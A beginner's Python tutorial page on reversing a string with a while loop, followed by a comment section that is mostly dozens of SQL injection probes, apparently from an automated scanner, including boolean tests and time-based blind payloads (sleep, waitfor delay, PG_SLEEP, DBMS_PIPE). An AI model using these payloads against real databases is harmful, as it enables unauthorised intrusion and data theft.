Reverse the String in python

python program to get a String and reverse the characters of the string

Sample Input 1:

Hello

Sample Output 1 :

olleH

Program or Solution

				
			
					
s1=input("Enter a String:")
s2=""
j=len(s1)-1
while(j>=0):
    s2+=s1[j]
    j-=1
s1=s2
print(s1)
            
            
				

			
				
			

Program Explanation

visit each location in string s1 from the last location len(l)-1 and append it to s2, finally store s2 in s1 Note: String is immutable, so you cannot modify a character directly in a orginal string.

Comments

SivadhanushT
In this program is very hard to understand. For better understanding, Please provide the videos or tutorial.
ubaTaeCJ
-1 OR 2+13-13-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+13-13-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+13-13) --
ubaTaeCJ
-1 OR 3*2>(0+5+13-13) --
ubaTaeCJ
-1 OR 2+557-557-1=0+0+0+1
ubaTaeCJ
-1 OR 3+557-557-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+557-557)
ubaTaeCJ
-1 OR 3*2>(0+5+557-557)
ubaTaeCJ
-1' OR 2+966-966-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+966-966-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+966-966) --
ubaTaeCJ
-1' OR 3*2>(0+5+966-966) --
ubaTaeCJ
-1' OR 2+203-203-1=0+0+0+1 or '5Mgt904K'='
ubaTaeCJ
-1' OR 3+203-203-1=0+0+0+1 or '5Mgt904K'='
ubaTaeCJ
-1' OR 3*2<(0+5+203-203) or '5Mgt904K'='
ubaTaeCJ
-1' OR 3*2>(0+5+203-203) or '5Mgt904K'='
ubaTaeCJ
-1" OR 2+538-538-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+538-538-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+538-538) --
ubaTaeCJ
-1" OR 3*2>(0+5+538-538) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
mFV9f5Qw'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 753=(SELECT 753 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
ubaTaeCJ
gcmRAo4k' OR 47=(SELECT 47 FROM PG_SLEEP(15))--
ubaTaeCJ
dxa46peg') OR 213=(SELECT 213 FROM PG_SLEEP(15))--
ubaTaeCJ
6aRluuFz')) OR 450=(SELECT 450 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@xMqcc